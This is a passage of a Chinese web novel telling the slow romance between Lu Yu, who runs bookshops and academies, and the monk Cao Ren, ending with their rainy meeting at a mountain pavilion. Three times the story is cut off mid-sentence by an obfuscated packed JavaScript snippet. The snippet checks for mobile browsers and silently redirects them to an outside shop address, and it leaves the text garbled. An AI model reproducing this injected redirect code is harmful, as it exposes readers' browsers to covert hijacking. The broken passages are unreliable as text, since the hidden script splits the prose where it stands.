这天夜里,陆萸没回定北侯府住宿,而是以安排书店工作为由留在星火书店。 曹壬自那天离开后,一直未再出现。 明日一早,她就要回江夏了,她想再等等他。 那日他突然离去,她心中有怨言也有不甘和气愤,如今却只剩期盼了。 或许,他还会像那夜一样敲响后院的门呢? 这般想着,陆萸一直睡不着,干脆拿出竹片写书签,然而直至深夜,也未等到他的身影出现。 待她写完整整一百根书签,整理装入竹筒的时候,才发现今夜所写半数皆是有关相思的诗句。 窗外不知何时已下起雨,雨点噼噼啪啪砸在窗棂上,每一滴都好似无声无息地砸进了她的心底,让这样无眠的夜显得愈发感伤。 三伏看过陆萸的书签,终于忍不住劝道:“女公子明日还要赶路,今夜切莫再伤神。” 陆萸前世去世时已在职场摸爬滚打六年,因为自卑没机会好好谈一场恋爱,却总以为自己不会再有少女心态为情所困,也不会为谁辗转反侧夜不能寐,可今夜却无论如何都控制不住如洪水泛滥的心绪。 那些和相思有关的诗句,哪怕都被她写完,却仍道不尽此刻的相思意,亦抒不尽心底的相思情,她多想再见他一面,迫切的想。 哪怕只是听他唤一声“阿萸”,她也是知足的。 长夜漫漫,雨声未歇,陆萸最终没等来曹壬。 翌日,当第一缕太阳照在书店的门口,她毅然踏上了回江夏的马车,临行前未给曹壬留下只言片语。 曹壬那天在街上看到买荷花的公子后,心里生出从未有过的情愫,只觉得心底一阵一阵的酸酸甜甜,这让他既无措又恐惧。 他是出家之人,应该心无杂念虔诚参佛,这样才能度己度人。 可若生出不该有的妄念,他又有何脸面参拜佛祖,又如何坦然的面对一直以来对自己寄以厚望的师父。 这么想着,他失魂落魄的走路去郑府后,一直陪着净觉在郑府诵经,他想靠不眠不休的诵经向佛祖忏悔。 几天过去,郑老夫人终究没能挺过去,净觉带着白马寺的僧人给她做了一场法事,齐诵经文为其超度亡魂。 等一切尘埃落定,已经过了十七日。 这期间曹壬每日不停诵经转动着佛珠,哪怕不停忏悔着,心中仍然会忍不住想象他把荷花送给陆萸的场面,她应该会喜欢吧? 他一边忏悔着,一边又控制不住自己去想她的一颦一笑,哪怕深知不该,他也无法做到不去想她。 从郑府回白马寺后,净觉让大家都好好休息,曹壬却未做休息,而是径自奔向白马寺后山的荷塘。 傍晚的残阳如血,映照得荷塘一片鲜红,满塘荷叶丛,他却已经寻不到一支荷花,荷花花期已过,只剩莲子挂在枝头。 曹壬颓然的看着满塘荷叶,心底一个声音不停在说,那天就该拿着卖花郎的荷花回书店送给她的。 荷塘僧认识主持的亲传弟子,也听过他辩经,对他崇拜的很,如今见他一脸悲伤懊恼,忙劝道:“师叔明年再摘吧,明年还会再开的。” 明年?曹壬闻言,愣了一下,可他只有两个月,等不到明年了。 荷塘僧见师叔听了他的话不但没被安慰到,反而一副快哭的表情,忙道:“师叔也可以摘莲子,莲子可养心安神,我寺的莲子素来都是送礼佳品。” “送莲子?”曹壬疑惑的问。 荷塘僧猛点头:“是的,您明日清晨再来摘莲子,那样新鲜的莲子吃起来口感才更好。” 曹壬听了,低头看了看许久未换的袈裟,因连日为郑老夫人诵经超度,身上很浓的纸火味。 于是回道:“那我明日再来找你摘莲子。” 荷塘僧终于松了一口气,忙回:“师叔今夜好好休息,明日一早我在这里等您。” 他见曹壬双眼布满血丝,一脸疲态,虽不知师叔为何如此迫切想要摘荷花,却真怕师叔不堪疲累而掉入荷塘,那可真是罪过。 许是心里有了目标,加之被连日的忏悔和心底藏不住的思念不停拉扯,曹壬回去后倒下就睡了,一夜无梦。 翌日清晨,他换了一身干净的袈裟,把自己打整得干干净净,然后去找主持说想去陆府送莲子。 净觉知道陆氏公子是曹壬未出家时的好友,也没有阻拦他,只是交待他早去早回。 曹壬到荷塘边时,荷塘僧刚好把莲蓬摘好,共十八支。 他向荷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13137950|134449||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 塘僧行礼说声“谢谢”后,将莲蓬装入准备好的布袋就出发了。 清晨的白马寺笼罩在薄雾中,随着太阳渐渐升起,薄雾慢慢散去。 走在山路上的曹壬想起那个买荷花的公子,心里忍不住忐忑起来,若阿萸不喜欢莲子,当如何是好? 这时耳畔传来鸟儿欢快的叫声,另一只鸟闻声飞来,和之前的鸟齐齐立在树杈上。 两只鸟用喙为对方整理起羽毛,晨曦的光芒透过树梢照在他们的羽毛上,那样斑斓的色彩,让曹壬想起陆萸的笑。 他心中的忐忑瞬间不见了,能再见到她就好,哪怕只是看见那双明亮的眼眸,也足够了。 他一路未停,快步赶往星火书店,至书店时,书店才开张。 书店的伙计见到曹壬,愣了一下,才上前道:“法师来得真早,需要我为您找书吗?” 曹壬走进书店问:“陆小公子今日还未到吗?” 伙计忙回:“小公子已经回荆州了。” 闻言,曹壬惊讶道:“回去了?可说何时归来?” 伙计摇摇头:“在下不知小公子归期。” 不是说要在两个月吗?难道是出了什么事?曹壬心中一堆疑问,脸上却没有表现出来。 他双手合十,行礼后问:“小公子临行前可有话转交贫僧?” 伙计忙回礼:“没有话转交法师。” 她竟然不辞而别?难道是那天自己突然离去,她生气了吗?曹壬心中止不住懊悔,他不该说那句“随缘吧”,更不该明明想送花给她却去了郑府。 想到可能再也见不到她,心中的悔,让他的心底像被什么东西一下一下砸着,一阵一阵的疼。 他失魂的走向柜台,看到满竹筒的书签,想起那个一起写书签的夜,她的笑仿佛还在眼前。 伙计见曹壬停在书签前,忙走过去道:“法师也想抽书签吗?这些都是小公子新补上的。” 听说是陆萸新写的,曹壬终于回过神,问:“我可以抽吗?” “可以,您抽几根都行”伙计忙答。 曹壬闻言,伸出手挑了一根红色花结的书签。 只见书签上写着:平生不会相思,才会相思,便害相思。 那是他熟悉的字,这一瞬,他知道那些让他找不到词去描绘的陌生情愫原来是有名字的,名字就是她一笔一划写下的相思。 所有的忐忑,所有的懊悔这一刻突然都消失了,他忍不住扬起嘴角,他生平第一次尝到了相思的滋味,酸酸的也甜甜的。 店里的伙计见曹壬突然笑了,那笑像极了突然绽放的莲花,他忍不住凑过来想看书签内容,道:“若法师喜欢,可以再抽一根。” 还未待伙计看清书签上的字,曹壬迅速收起书签,笑道:“今日就抽这一根,等下次再抽。” 言毕,他将书签装入袖袋后,双手合十行礼告别。 莲子最终没能送给陆萸,而是送去了定北侯府。 曹壬听了陆弘的解释,知道陆萸突然回荆州的原因后,心底也松了一口气。 她还会回洛阳,这样的消息让他在心底了个决定,他要隔三日去一次书店,直至再次等到她。 就这样,接下来的日子,无论晴天还是下雨,曹壬皆会去书店,他一开始买的是《取经记》,一次只买一本,后来买《墨生游记》,也是一次只买一本。 他每次去书店最开心的时刻是抽书签的时候,这些书签最后都被他细细收在盒子里,藏在床头的书柜最底层,像他不敢让人知道的情感,一直深藏。 欲把相思说似谁,浅情人不知。天涯地角有穷时,只有相思无尽处。相恨不如潮有信,相思始觉海非深。只愿君心似我心,定不负相思意。玲珑骰子安红豆,入骨相思知不知。 她一笔一划写下的书签装满了盒子,是装满他心底的相思,也是手腕上像极了红豆的太阳子佛珠,他终于知道红豆还有个名字,唤相思。 51. 第五十一章 两只鹿 陆萸回到江夏时,江夏的星火书院正如火如荼的建设中。 陆氏的财力雄厚,有之前山阴书院的建造图纸和施工经验,工匠建造新书院的速度非常快。 江夏书院有陆三叔帮忙盯着,陆萸心里想着洛阳华彩阁的茶点生意,所以没去过多关注书院的事,而是将心思放在选人去洛阳的事上。 好在她之前一直想去长安华彩阁开分店,所以花了一年的时间让秋娘培养新的烘焙师。 如今秋娘的新徒弟素禾已能出师,陆萸便想把秋娘带去洛阳,让素禾留在江夏。 洛阳是都城,天子脚下世家众多,陆萸不想让茶点生意太冒头,只需稳步运营不亏本就行,秋娘做事稳重,手艺精湛也经历过两次新店开张,所以让秋娘去洛阳最为合适。 陆歆还未至江夏,收到陆萸的信后最先送来两名侍女,皆是已被陆氏培养多年,打探搜集消息的能手。 陆萸又从州牧府向大伯母姚氏要了两名侍女后,与祖父送来的两个暗探一起,花了半个月的时间给她们培训了各项接待礼仪。 一切准备就绪,已经是她离开洛阳一个月后了。 江夏星火书院的开学准备不是由陆萸主导,陆歆到江夏的时候旬维也从颍川郡赶来了,于是她从两位长辈口中听了这次新书院开学的流程。 江夏星火书院开学时间依然定在九月初九,按惯例,开学第一课由旬维在江夏书院授课。 而那些名誉讲师,则自己安排授课时间,沈玉那天答应陆萸的请求后,为给新书院捧场,他主动将授课时间定在开学第三日。 第二日是围棋大师袁华的课,第四日是陈青的乐理课。 华亭造纸技术熟练以后,印刷书籍的工作统一在八月份以前完成,陈青也有更多的时间参与到教学工作中。 山阴星火课堂的第一批学员,如今已经从学员身份转换为教学助理,有四人来了江夏书院,剩下三人留在山阴书院。 教学助理除了继续学习深造,还要辅助书院管理者开展日常工作,比如收集归档学生信息,学生宿舍管理等其他后勤基础性工作,这样既可以拿到相应月薪解决温饱,又可以继续深造。 他们已经成了书院的招生代言人,每当有人咨询报名,他们就能立马现身说法,详细介绍自己的亲身经历,介绍如何通过星火课堂改变命运。 无论是何年代,财富都掌握在少数人手中,所以哪怕世家们依然看不上星火书院,也并不妨碍星火书院已经拥有庞大的学员群体。 星火书院已经不单纯是一个书院,它是那些有志青年寻求真理实现梦想的殿堂,是他们为摆脱被人摆布的命运而努力的方向。 听过祖父的打算,陆萸没有什么需要操心的地方,于是带着秋娘和四名培训好的侍女即刻赶回洛阳。 姚氏给陆萸送行的时候抱怨道:“陆氏那么多男儿,怎的非让你如此奔波。” “我闲不下来,乐此不疲”陆萸笑着回。 姚氏无奈道:“我只是心疼你,等洛阳的事忙完了,你快些回江夏陪我住几个月,我们年底一起回华亭。” 陆萸听了连声答应保证,姚氏才依依不舍地将她放行。 姚氏盼着生女儿盼了几十年,自从上次和陆萸相处过几日,就喜欢上陆萸了。 同样是晚辈,无论是娘家外甥女还是陆家的其他侄女,皆不如陆萸让她觉得相处起来轻松愉悦。 用陆萸的话来形容,别人皆是标准世家女而她还不够标准,就因为如此,姚氏反而觉得陆萸更难得。 姚氏不喜欢标准世家女,她们仿佛都是按一个模子培养的,失了原有的灵气。 陆萸再次回到洛阳时,已是七月底,离中秋佳节只有十八日。 时间紧迫,她也忙不得去书店,而是一门心思扑在了华彩阁,烤炉建造,新品设计,包装设计,陆萸直接和秋娘吃住在华彩阁,花了整整十天的时间才把所有工作全部理顺。 八月初九这天,华彩阁的茶点正式开卖,有江夏和建业的口碑背书,洛阳店的开张生意不算太差,那些顾客有好奇而尝试的,也有江夏店的老客户来捧场的,还有一些是当年预定过建业礼盒的。 中秋礼盒的销售额虽然比不上江夏,但比建业要好,这次洛阳的中秋礼盒大卖再次刷新了陆萸对洛阳世家消费观的认知,真正应了后世那句话:有钱就是任性。 范阳卢氏有一位公子只为博美人一笑,竟然预定了整套中秋礼盒,价值三千六百两,那位美人也一时间成为洛阳的美谈。 陆萸在谢洐面前打听这个美人的时候,谢洐却鄙夷道:“被那个卢氏子看上,才是真的不幸。” 陆萸好奇之下,听谢洐详细解释后,才知卢公子就是个浪荡子。 他一年内可能看上无数美人,这些美人有的愿意接受他,然后被他纳入府中就不了了之,也有的不愿意接受,就被他死缠烂打,直至失了名声,最终只得草草嫁入。 他一直未娶正妻,妾氏倒是一大堆,因他就是个妥妥的人渣,与卢氏身份相当的世家们,没哪家愿意把女儿嫁给他。 奈何他出生好,祖父是当朝一品太尉,那个溺爱他无度的祖母出自清河崔氏,是南安王府老王妃的亲妹妹,那些被迫草草嫁人的女子们唯有敢怒不敢言。 谢洐对陆萸再三叮嘱:“卢氏子专找庶女祸害,你在洛阳行走尽量避着他,也不要穿女装出行。” 只找庶女祸害,是为出事后,卢氏好出面替那个人渣摆平吧?若真是如此,如今收了他整套中秋礼盒的女子,当真是不幸。 陆萸心想自己这姿色犯不着担惊受怕,但见谢洐一副严肃认真,忙道:“我听谢九叔的,一定躲着他。” 洛阳的集市分一东一西两个,星火书店在西边的大市,那边人流大,但鱼龙混杂。 谢洐的华彩阁主打高贵典雅,所以他把店铺选在东边的小市,小市环境更好,且可以直接去内洛河畔游玩,所以华彩阁的茶点一经推出就不愁客源。 忙了十几日,两日后就是中秋,陆萸从华彩阁忙完后,眼看才至申时,她打算去星火书店看一眼。 定北侯府的马车慢悠悠地横穿整个洛阳内城向西边大市驶去,想着去书店,她止不住会想起曹壬。 那日她不辞而别,只是因为在听了一夜的雨声后,赌气的也想让他尝尝自己心中的滋味。 思及此,她苦涩一笑,或许那不过是自己一厢情愿罢了,他终归身在佛门,又怎会生出儿女私情? 陆萸刚入书店,书店掌柜忙热情地给她端上茶水,然后向她汇报起这段时间的销售情况。 《取经记》《墨生游记》《新体诗》依然是热销款,而经过店员的推广,在大市的环境下《三字经》《弟子规》也好卖起来了,甚至已经有学员报名在星火课堂上课。 因书店才开业没多久,课堂的教室已经装修好,授课老师却还未定下,授课相关事宜还未安排好,陆萸没想到,才开张两个月,就已经有三十六名学员报名。 听完掌柜的汇报后,陆萸忙让三伏研磨,她要写信给祖父,让祖父尽快安排人来洛阳课堂授课。 信写好,陆萸也未耽搁,立即就让陆氏信使送信去了。 从书店二楼下来,眼看黄昏将至,陆萸打算回定北侯府。 临行前,掌柜突然问:“小公子明日还来书店吗?” 掌柜不是多话之人,陆萸奇道:“明日有要事需要我处理吗?” 掌柜忙笑道:“明日慧悟法师定然会来购书,他上次向我们问起过您,所以我问问您。” 掌柜才说完,一旁的伙计立马向陆萸解释曹壬这些日子每隔三日必来一次书店,而且每次抽走书签都很开心。 君期竟然抽了那些书签?陆萸闻言,心中既惊又喜,她那夜写那些书签的时候,万没想过会被他亲自抽到。 此时的她就像做坏事被人发现的小女孩,既紧张又期待,紧张是因为怕他猜到她心思后会躲起来,期待是因为伙计说他抽到书签的时候很开心。 若真如伙计所言,她是不是应该理解为,他也并非对自己无动于衷?哪怕只是这一点小小的新发现,已然让她内心止不住欢喜雀跃。 从书店出来后,陆萸立即让部曲骑马去白马寺送口信,自己则坐上了前往白马寺的马车。 口信内容是:陆公子约慧悟法师清风亭一叙。 她不想等到明日,想立刻就能见到他,此时此刻,任何人任何事都阻止不了她去见他的脚步。 白马寺在洛阳城十里外的山上,虽然山势不是很高,但香客去白马寺烧香拜佛,皆会在半山腰的清风亭歇息片刻才继续徒步而上。 眼看太阳渐渐下沉,陆萸让车夫加快驾车的速度,此时的她像极了前世电影中那些为爱疯狂,正要去找男主角私奔的女主。 那些女主角怀着忐忑的心,一路上回想着过往所有甜蜜记忆,义无反顾的奔向一场没有未来的爱恋。 没有未来又怎样?她此刻只想见到他,看到真真切切的他,再听他唤一声“阿萸”。 陆萸还未至清风亭,天空却突然阴了起来,没有看到落日的晚霞,反而迎来了狂风大作。 清风亭在供行人徒步的山路左侧,马车无法直接到达,眼看天气骤变,三伏劝道:“女公子在车内 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13157068|134449||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 等着吧,奴婢去亭中请法师下来。” 陆萸听后,拿起油纸伞直接跳下马车道:“你随我徒步上去即刻可。” 三伏无奈,只得快速从车中拿出油纸伞后,跟在陆萸身后踏上了上山的路。 山路崎岖,道路旁密布苍天古树,好在此路常年有人行走,所以上山的路不算难行,想到曹壬曾无数次走在这条路上赶去书店抽书签,陆萸走得更快了。 不多时,天空慢慢飘起小雨,主仆二人忙撑开了手中的伞继续赶路。 他会不会因为唐突相邀而被吓到,所以不来了?会不会因为下雨所以不来了?会不会因为寺门即将关闭所以不来了? 陆萸心中既忐忑又焦急,再上一个坡,到达上面就能看到清风亭了,她恨不得能三步并作两步快速走到清风亭。 主仆二人终于走至清风亭与山路的岔路口,三伏道:“女公子,慧悟法师已在亭内,你快些去,奴婢在这里守着。” 陆萸忙抬头看去,只见曹壬一袭棕色袈裟颀身玉立,背对着她正看着山下的景致。 “君期”陆萸立在路口喊了一声他的名字。 在他转过身望向自己的那一刹那,陆萸只觉心头血仿佛在翻滚,已经分不清是因为快步上山的剧烈运动加快了心跳的速度,还是因为见到他而心里揣了一只鹿。 那只鹿在广袤的心田不停奔跑着,仿佛快要跑出她的心口。 当她看到曹壬自亭中疾步走入雨中,奔向自己时,她仿佛听到了那只鹿奔跑时,鹿蹄踏在心田发出的声音,一下又一下。 听着它的奔跑节奏,她撑着伞加快了走向他的脚步。 曹壬收到守门僧送来的口信后,来不及和师父请示,立即就出发了。 在如丝细雨中,看到那个让他日思夜想的人正向自己走来,看不清伞下的她是何表情,只看到那团黄色越来越近。 心底那些酸酸的缺口就在这一瞬间被甜蜜补齐,整整三十七日的等待,终于在这一刻得到圆满,他又见到她了,真好。 “阿萸”他终于站在她面前,带着小心翼翼,带着藏不住的欢喜雀跃,声音一如以往的清冽温柔。 陆萸将伞沿微微往后扬,然后仰起头看着曹壬,莞尔一笑:“君期,我们又见面了。” 我们又见面了,真好。 曹壬又走近一步,伸手接过她手中的伞后,就这样安静的笑看着她。 他的手在握住伞柄的时候不小心触碰到了她的手指,那细嫩的手指柔软温暖,一如她此时看向他的眼神。 不约而同的,两人内心的那只鹿再次奔跑起来,两只鹿奔跑的声音彻底盖过了伞外的雨声。 陆萸分不清是自己的心跳声还是他的,她的脸在手指被他手上的温热轻轻触碰时,瞬间红了起来。 怕被他看出来,她在轻轻抽回手指后快速低下了头。 曹壬却早已看到她那红如蜜桃的耳垂,粉粉嫩嫩,透着微微可见的一点光亮,让他忍不住也红了脸。 清风亭原是观晚霞的最佳地点,因为下雨,今日无缘得见,可他看到了世间最美的晚霞,这晚霞胜过世间所有美景。 “阿萸”曹壬的声音不知不觉带了沙哑,他低低的喊了她一声。 “嗯”陆萸低着头,低低应了一声。 陆萸因为忙着上山,原本梳得整齐的头发已经被刚才的狂风吹乱。 曹壬伸出右手,想替她将垂下的那一缕发丝别在耳后。 可刚刚伸出的手,在她抬头看向自己时,停在了她的左侧脸旁,他笑道:“头发散了。” 言毕,他不着痕迹的将手收了回来,收回的手掌在身侧轻轻捏紧,又缓缓松开。 刚刚那一刻,他差点忍不住抚上了她那布满晚霞的脸颊。 陆萸没发现他伸出又收回的手,只红着脸随意将头发别回耳后,在看到他也红了脸时,忍不住“噗嗤”一声笑了出来。 她道:“君期和我一样,我就不怕了。” 曹壬看她的笑容,像绽放在枝头的海棠花,艳丽而娇美,原本下雨后微凉的秋日黄昏,瞬间变得热了起来,脸上也好像更热了。 这时,雨势突然大了起来,大颗大颗的雨滴砸在伞面上,然后滚落,快速在伞的周围形成一道雨帘,将伞外和伞下世界隔绝开来。 此时此刻,在这柄油纸伞下,她只是他的阿萸,而他只是她的君期,没有佛门,没有世家,有的只是两只在心田上欢快奔跑着的鹿。 伞下的世界悄然而寂,二人在对方的眼中看到彼此的身影,明天那么遥远,他们此刻甘愿陷在一个须臾里,带着无人知晓的秘密,不断沉沦。 52. 饴糖 陆萸说:“君期和我一样,我就不怕了!” 曹壬闻之,握住伞柄的手微微收紧,那些边诵经忏悔边忍不住犯错而饱受煎熬的日日夜夜,在听到这句话时,瞬间觉得一切都是值得的。 他不再是一个人于迷雾中踽踽独行,如今有她手持心灯伫立在前方,替他照亮了前行的路,让他不再惶恐不安。 “阿萸”他又忍不住轻唤了一声,声音缱绻温柔。 陆萸红着脸,看着他,轻轻应声:“我在。” 二人就这样立在伞下看着对方傻笑。 他那样凝视着她,仿佛这天地间万物除了自己皆入不了他的眼,让陆萸只想溺死在那双清澈却温柔的眼眸中。 她突然想起了幼时吃的麦芽糖,忍不住开口:“你以后只对我这样笑,可好?” “好”曹壬笑回。 “我不想和任何人分享饴糖”陆萸道,这个时代的麦芽糖叫饴糖。 见曹壬不解,她接着道:“看到你笑,我想起幼时舍不得吃的饴糖。” 陆萸前世童年记忆里的零食少得可怜,除了爆米花,她最馋的是麦芽糖。 爆米花可以自己带玉米去炸,出点加工费就行,可麦芽糖需要出钱买,哪怕只是买一小块,拮据的奶奶仍然要犹豫很久。 每次买了麦芽糖,奶奶都会告诉她,好东西要和小伙伴分享,可她舍不得。 她总是将麦芽糖偷偷装在袋子里,然后在睡前敲一小块含在嘴里,那样就能一夜好梦。 曹壬先是一愣,然后瞬间羞红着脸:“就依你,不分给任何人。” 陆萸见状,再次“噗嗤”一声笑出声来,这样纯情的少年郎呀,如何能让她不动心? 雨滴太大,有一滴雨珠自伞骨中心渗漏下来,落在了曹壬因笑扬起的眉眼间。 曹壬用力眨了一下眼睛,可水珠依然挂在上面不肯滚落。 陆萸踮起脚伸出手,想要替他擦去那眉间的晶莹,可手才伸至他的额前,看到他光滑的头顶,伸出的手停了一瞬,最终收了回来。 她笑道:“我们进亭子里避雨吧。” 曹壬看到她白嫩如葱的手指靠近自己,心中突然有了不该有的期待。 那手指却未落在眉间,仅一瞬就快速离去,他的心里又莫名失落。 他笑回:“好的,你跟紧我。” 陆萸伸手牵住曹壬的衣袖,低着头躲在他撑起的油纸伞下,跟着他快速走入清风亭中。 待曹壬将伞收起,她才发现他的后背都已经湿透,撑伞的那只衣袖甚至已经在滴水。 她嗔怪道:“你是傻子吗?若我不主动提,你就一直这样站在雨中?” 曹壬将伞立在立柱旁,扭掉衣袖上的水滴,笑道:“我穿的多,无碍,很快就干了。” 陆萸无奈,见三伏还等在路口,大声道:“三伏,你先去马车上等我。” 三伏有些犹豫,哪有侍卫离开主人的道理。 陆萸却接着道:“有君期护我,你不用担心,待雨停了你再来。” 三伏看了看一身袈裟的慧悟法师,想起上次女公子称他是武林高手,犹豫了一下,毕竟此时她也不便入亭中。 唉!或许女公子是不想让自己在一旁看着呢?思及此,她遥遥向着陆萸行过礼后,转身走下山。 想到女公子有可能对僧人动了心,三伏一路上别提有多纠结。 她倒不认为这种感情有多惊世骇俗,而是担心自家女公子爱而不得,最终徒增伤感。 等三伏真离去了,转过身看着曹壬,陆萸后知后觉的尴尬起来。 她只是不忍三伏一直站在大雨中,如今却闹得想要偷情似的,瞬间手足无措地想找个地方躲起来。 她羞红着脸,“我,我”支吾半天,却说不出接下来的话。 曹壬笑着打断:“我知阿萸是在关心她。” 陆萸松了一口气,轻咳一声掩饰尴尬后,笑着席地坐在石桌前。 这亭子有石桌却没有凳子,想来以前的人都是自带苇席,不过她向来没那么多讲究,说坐就坐了。 曹壬刚想说地上凉,见她已经坐好,于是也理了理袈裟,不拘小节地在她对面坐下。 二人皆坐定,陆萸才发现曹壬脸上还挂着少许水珠,她忙从袖袋中拿出手绢,然后左手扶着石桌身子微微前倾,右手举着手绢想替他擦去脸上的雨水。 可将要触碰到他的脸颊时,她顿了一下,笑道:“你擦一下。” 曹壬笑着从她手中抽走手绢,然后自顾自的擦了起来,手绢擦过脸颊时,一股她独有的香味一阵一阵扑鼻而来。 他只觉得脸越擦越热,擦脸的动作也慢了下来,这香味仿佛带了某种魔力,萦绕心头久久不散。 将手绢从脸上拿开,他忍不住问:“这手绢,我可以留着吗?” 陆萸听了,愣了一瞬,才笑回:“你若喜欢,就留着吧,我那里还有很多。” 曹壬羞涩一笑,小心摊开手中的手绢,然后问:“这果子,是红豆吗?” 许是相思太浓,他现在看所有红色果子都像红豆。 “我的绣工真有这么差吗?”陆萸听后,却是不悦的反问。 “这是茱萸果,名字太难绣,我才绣茱萸果代替的。” 当初教授女红的师傅手把手一针一线地教了陆萸许久,可她依然绣不好“萸”字。 最后为了交作业,她绣了一串茱萸果,才勉强过关。 曹壬尴尬一笑,忙回道“很像茱萸果,是我眼拙,我向你道歉。” 他说着,好似生怕陆萸会收回手绢,快速叠成小方块后收入袖袋中。 陆萸假装生气道:“你需要道歉的只有这一件事吗?” 曹壬愣了一下,忙回:“我那日不该突然离开书店,我道歉。” 见陆萸好似还在生气,他接着道:“我不该说那句随缘吧,我道歉。” “我等了你三日,还听了一夜的雨,可你都没来”陆萸诉说着心中的委屈,想起那个雨夜,眼泪突然就落了下来。 曹壬见状,也顾不得男女大防,急忙从对面走至陆萸身旁坐下,然后拿出才收好的手绢,焦急又笨拙地替她擦起泪来。 他边擦边看着她不停说着:“阿萸,对不起”。 随着陆萸的泪水越流越多,他的手愈发笨拙,可他未停下,一直小心又轻柔的擦拭着,仿佛她是一件轻轻一碰就会碎掉的宝贝。 陆萸也说不清明明见到他的时候很开心,为何这一刻却突然就想落泪。 许是从发现心悦他那一刻起,她心底压抑的情感一直得不到释放,如今突然找到一个出口,就想宣泄出来。 可看到他如此小心翼翼,手足无措间满眼皆是自责和心疼,她又于心不忍了。 她只是等了三日,他却等了她三十多日不是吗? 她停下眼泪,吸了吸鼻子,伸手拉住他的衣袖,红着眼眶问:“以后不要不辞而别,可好?” “好”曹壬手中捏着手绢回。 “你若离去,我不知何处才能寻到你”陆萸再次吸了吸鼻子,瓮声瓮气地开口。 曹壬垂下擦眼泪的手,低头看了看陆萸的手,那手指骨节分明,正紧紧抓着他的衣袖,仿佛怕他突然消失一般。 他心中一片柔软酸痛,抬首看着陆萸,郑重道:“我以后再也不会对你不辞而别,你若想见我,一个口信,我便会赴约,无论多远。” 陆萸终于破涕为笑,道:“和佛祖抢人,我可不敢,那会遭报应的。” 原只是一句玩笑话,曹壬却异常认真的打断她,满眼痛色道:“若有报应,那也该报应在我身上,而非是你。” 是他六根不净生出妄念,是他犯贪戒,贪求不该有的欲念,如果要惩罚,就全部惩罚在他身上吧。 陆萸见他这样的神情,心中一紧,忙回:“我只是玩笑话,不会真和佛祖抢人的,我们谁也不会遭报应。” 似担心他不信,陆萸更用力的抓紧他的衣袖,道:“我们都要好好的,可好?” “好”曹壬压下心底的苦涩,笑回。 若能留住她的笑,他不怕报应的,哪怕只是须臾,他亦珍视之致,再多的报应他都愿意承受。 “你那日突然离去是因为沈玉吗?”陆萸问。 曹壬愣了一下,脸再次红了起来,他不愿承认,可她猜得没错,他因为沈玉和她之间的默契而心生哀怨。 那样优秀的儿郎,明明与她那样般配,可他已经做不到在一旁笑着祝福他们。 发现自己是如此自私的人,这让他耻于开口回她的问题。 “我不会与他成亲的,哪怕你把他夸上天”陆萸凝视着他郑重道。 “我已经后悔夸他了”曹壬呐呐低语。 “祖父答应过我,我可以不与任何人成亲,只一辈子做陆小公子,为此,我一直在努力,努力体现自我价值,努力为心中的目标奋斗。” 听到她说不会与任何人成亲,他原该是高兴的,可此时却只剩心疼。 这样优秀的女子,值得世间最好的男子与之相依相伴、一路相互扶持到老。 若只有她一人人苦苦奋斗,终归还是太累,他如何忍心? 可他颤抖着唇,说了句:“阿萸”后,却不知该继 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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不知过了多久,夜越来越寂静,陆萸听到三伏的脚步声由远及近传来。 她心底一叹,再美的梦也终有醒来的时候。 “君期,我们该道别了”她忍着眼泪开口。 她原想等到日出再走的,可又不忍心让他一直穿着湿透的袈裟在夜里吹冷风。 曹壬道:“后日我要在清凉台讲经说法,你来旁听可好?” 后日是十五,曹壬成为净觉的亲传弟子后,跟着师父参加过很多佛事活动,也参加过各与过各类辩经,但独立讲经说法却是第一次。 向来只有净觉那样的得道高僧可以在白马寺清凉台开坛讲经,只因净觉对他寄予厚望,且他自身佛学造诣深厚,才破例给他机会独立讲经。 毕竟是第一次,说心里不紧张是不可能的,可她若能来,他就不会紧张了。 “好,我会随阿兄一同来旁听”陆萸回道。 曹壬起身理了理袈裟,然后等着陆萸起身。 陆萸却因为跪坐太久,小腿早已发麻,一时间起不来了。 曹壬见状,弯下腰向她伸出了一只手。 那手指饱满修长,曾为自己弹奏过世间最美的琴曲,陆萸忍不住想要立即紧紧握住永远不松手。 可她伸出的右手在将要搭上这只手的时候,猛然醒悟过来,迅速换成用力抓住他下垂的衣袖。 他现在是慧悟,后日就要开坛讲经,他以后的路还会走的更高更远,她不该给他留下任何污点。 “阿萸”曹壬痛色低唤一声。 他不怕的,只要她愿意,他可以握紧她不松手。 陆萸就着拉紧衣袖的力颤颤巍巍起身后,快速用另一只手撑在石桌上,待双腿皆站好,她松开了那只抓衣袖的手。 边轻轻转动脚腕边笑道:“无事,腿麻了,一会就好。” 曹壬已经伸出去想要扶住她的双手,在听到这话时,只能不着痕迹的收了回来。 三伏见二人已经起身,带着披风走入亭中。 她先是向曹壬行礼,然后上前给陆萸系紧披风。 陆萸看着曹壬:“你先回吧,若太晚,恐住持责罚于你。” 曹壬却执意要将她送上马车。 待坐入车内,陆萸掀开帘子,探出头看着他,笑道:“这下可以放心了吧?” 曹壬立在窗畔,笑回:“后日见。” “后日见”陆萸笑回。 “每逢十五,白马寺门口会有一老伯卖饴糖,听闻味道极好,我到时候给你备着”曹壬道。 “好,我等着你分享饴糖”陆萸笑回。 